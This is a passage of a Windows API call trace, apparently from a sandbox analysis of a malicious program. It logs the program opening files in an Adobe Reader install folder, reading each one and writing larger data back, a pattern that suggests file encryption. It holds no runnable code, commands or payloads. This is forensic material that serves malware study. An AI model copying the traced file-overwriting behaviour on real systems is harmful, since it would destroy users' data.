cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.cfg", lpUsedDefaultChar=0x0) returned 12 [0041.744] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.745] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6f79 [0041.745] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.180] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6f79 [0042.184] WriteFile (in: hFile=0x1b0, lpBuffer=0x261bca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0042.195] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.195] CloseHandle (hObject=0x1b0) returned 1 [0042.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0042.196] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.196] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x384 [0042.196] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.196] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.196] ReleaseMutex (hMutex=0x128) returned 1 [0042.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x1e631ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="end_review.gif", lpUsedDefaultChar=0x0) returned 14 [0042.196] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2a0f2bc*=0x384, lpOverlapped=0x0) returned 1 [0042.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0042.199] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x90c, lpOverlapped=0x0) returned 1 [0042.199] CloseHandle (hObject=0x1b0) returned 1 [0042.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0042.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x392 [0042.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.199] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.200] ReleaseMutex (hMutex=0x128) returned 1 [0042.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0042.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_joined.gif", lpUsedDefaultChar=0x0) returned 18 [0042.200] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x392, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2a0f2bc*=0x392, lpOverlapped=0x0) returned 1 [0042.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0042.201] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x91a, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x91a, lpOverlapped=0x0) returned 1 [0042.201] CloseHandle (hObject=0x1b0) returned 1 [0042.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\server_ok.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0042.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xe1 [0042.202] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.202] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.202] ReleaseMutex (hMutex=0x128) returned 1 [0042.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="server_ok.gif", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_ok.gif", lpUsedDefaultChar=0x0) returned 13 [0042.202] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dd1368, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1368*, lpNumberOfBytesRead=0x2a0f2bc*=0xe1, lpOverlapped=0x0) returned 1 [0042.203] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0042.203] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x669, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x669, lpOverlapped=0x0) returned 1 [0042.203] CloseHandle (hObject=0x1b0) returned 1 [0042.203] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0042.204] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.204] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x171 [0042.204] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.204] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.204] ReleaseMutex (hMutex=0x128) returned 1 [0042.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="warning.gif", lpUsedDefaultChar=0x0) returned 11 [0042.204] ReadFile (in: hFile=0x1b0, lpBuffer=0x26357a8, nNumberOfBytesToRead=0x171, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26357a8*, lpNumberOfBytesRead=0x2a0f2bc*=0x171, lpOverlapped=0x0) returned 1 [0042.205] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0042.205] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6f9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6f9, lpOverlapped=0x0) returned 1 [0042.205] CloseHandle (hObject=0x1b0) returned 1 [0042.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0042.205] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.205] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4444 [0042.206] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.206] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.206] ReleaseMutex (hMutex=0x128) returned 1 [0042.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.206] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMePOL.htm", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMePOL.htm", lpUsedDefaultChar=0x0) returned 13 [0042.206] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.207] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3444 [0042.207] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.208] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3444 [0042.208] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.208] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0042.208] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.208] CloseHandle (hObject=0x1b0) returned 1 [0042.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0042.208] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.208] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xedd564 [0042.208] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0042.208] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.209] ReleaseMutex (hMutex=0x128) returned 1 [0042.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0042.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeSongStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x1e78c44, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeSongStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0042.209] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.211] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.212] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.213] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.218] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.242] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.243] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef20000 [0042.248] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.249] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2a0f23c, dwLength=0x1c | out: lpBuffer=0x2a0f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0042.249] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eea0000 [0042.254] VirtualFree (lpAddress=0x7ef20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.256] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.258] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.680] VirtualQuery (in: lpAddress=0x7ef20000, lpBuffer=0x2a0f23c, dwLength=0x1c | out: lpBuffer=0x2a0f23c*(BaseAddress=0x7ef20000, AllocationBase=0x7ef20000, AllocationProtect=0x4, RegionSize=0x60000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0043.013] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ec50000 [0043.014] Sleep (dwMilliseconds=0x0) [0043.715] VirtualFree (lpAddress=0x7eea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.719] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xedb564 [0043.719] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0043.721] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xedb564 [0043.722] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef10000 [0043.729] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2a0f258, dwLength=0x1c | out: lpBuffer=0x2a0f258*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0043.729] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee80000 [0044.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2", lpFilePart=0x2a0f690*="90pv-RKSJ-UCS2") returned 0x45 [0044.495] GetLastError () returned 0x5 [0044.495] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.495] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.495] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.495] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.495] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.495] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.495] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2")) returned 0x20 [0044.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc", lpFilePart=0x2a0f690*="Adobe-CNS1-B5pc") returned 0x46 [0044.496] GetLastError () returned 0x5 [0044.496] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0044.496] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.496] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.496] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0044.496] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.496] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0044.496] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc")) returned 0x20 [0044.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4", lpFilePart=0x2a0f690*="Adobe-GB1-4") returned 0x42 [0044.496] GetLastError () returned 0x5 [0044.496] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, 